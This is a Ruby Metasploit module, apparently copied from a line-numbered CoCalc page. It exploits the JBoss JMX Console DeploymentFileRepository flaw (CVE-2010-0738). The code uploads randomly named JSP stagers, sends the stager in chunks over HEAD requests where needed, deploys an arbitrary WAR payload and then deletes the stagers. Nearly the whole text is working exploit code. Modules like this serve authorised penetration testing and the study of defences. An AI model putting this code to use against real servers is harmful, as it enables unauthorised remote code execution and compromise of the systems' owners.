CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HTTP::JBoss
8

9
  def initialize
10
    super(
11
      'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment',
12
      'Description' => %q{
13
        This module uses the DeploymentFileRepository class in the JBoss Application Server
14
        to deploy a JSP file which then deploys an arbitrary WAR file.
15
      },
16
      'Author' => [
17
        'us3r777 <us3r777[at]n0b0.so>'
18
      ],
19
      'References' => [
20
        [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
21
        [ 'OSVDB', '64171' ],
22
        [ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],
23
        [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
24
      ],
25
      'Actions' => [
26
        ['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }],
27
        ['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }]
28
      ],
29
      'DefaultAction' => 'Deploy',
30
      'License' => BSD_LICENSE,
31
    )
32

33
    register_options(
34
      [
35
        Opt::RPORT(8080),
36
        OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
37
        OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
38
      ]
39
    )
40
  end
41

42
  def deploy_action(app_base, war_data)
43
    stager_base = Rex::Text.rand_text_alpha(rand(8..15))
44
    stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))
45
    encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
46
    stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
47

48
    if http_verb == 'POST'
49
      print_status('Deploying stager for the WAR file...')
50
      res = upload_file(stager_base, stager_jsp_name, stager_contents)
51
    else
52
      print_status('Deploying minimal stager to upload the payload...')
53
      head_stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))
54
      head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
55
      head_stager_uri = '/' + stager_base + '/' + head_stager_jsp_name + '.jsp'
56
      res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
57

58
      # We split the stager_jsp_code in multiple junks and transfer on the
59
      # target with multiple requests
60
      current_pos = 0
61
      while current_pos < stager_contents.length
62
        next_pos = current_pos + 5000 + rand(100)
63
        vars_get = { 'arg0' => stager_contents[current_pos, next_pos] }
64
        print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
65
        res = deploy('uri' => head_stager_uri,
66
                     'vars_get' => vars_get)
67
        current_pos += next_pos
68
      end
69
    end
70

71
    # Using HEAD may trigger a 500 Internal Server Error (at least on 4.2.3.GA),
72
    # but the file still gets written.
73
    unless res && (res.code == 200 || res.code == 500)
74
      fail_with(Failure::Unknown, 'Failed to deploy')
75
    end
76

77
    print_status('Calling stager to deploy the payload warfile (might take some time)')
78
    stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
79
    stager_res = deploy('uri' => stager_uri,
80
                        'method' => 'GET')
81

82
    if res && res.code == 200
83
      print_good('Payload deployed')
84
    else
85
      print_error('Failed to deploy final payload')
86
    end
87

88
    # Cleaning stagers
89
    print_status('Undeploying stagers via DeploymentFileRepository.remove()...')
90
    print_status('This might take some time, be patient...') if http_verb == 'HEAD'
91
    delete_res = []
92
    if head_stager_jsp_name
93
      delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
94
    end
95
    delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
96
    delete_res << delete_file('./', stager_base + '.war', '')
97
    delete_res.each do |res|
98
      if !res
99
        print_warning('Unable to remove WAR [No Response]')
100
      elsif (res.code < 200 || res.code >= 300)
101
        print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
102
      end
103
    end
104
  end
105

106
  # Undeploy the WAR and the stager if needed
107
  def undeploy_action(app_base)
108
    print_status("Undeploying #{app_base} via DeploymentFileRepository.remove()...")
109
    print_status('This might take some time, be patient...') if http_verb == 'HEAD'
110
    res = delete_file('./', app_base + '.war', '')
111

112
    unless res
113
      print_error('Unable to remove WAR (no response)')
114
      return
115
    end
116

117
    if res.code < 200 || res.code >= 300
118
      print_error("Unable to remove WAR [#{res.code} #{res.message}]")
119
    else
120
      print_good('Successfully removed')
121
    end
122
  end
123

124
  def run
125
    app_base = datastore['APPBASE']
126

127
    case action.name
128
    when 'Deploy'
129
      unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
130
        fail_with(Failure::BadConfig, 'Unable to open WARFILE')
131
      end
132
      war_data = File.read(datastore['WARFILE'], mode: 'rb')
133
      deploy_action(app_base, war_data)
134
    when 'Undeploy'
135
      undeploy_action(app_base)
136
    end
137
  end
138
end
139

140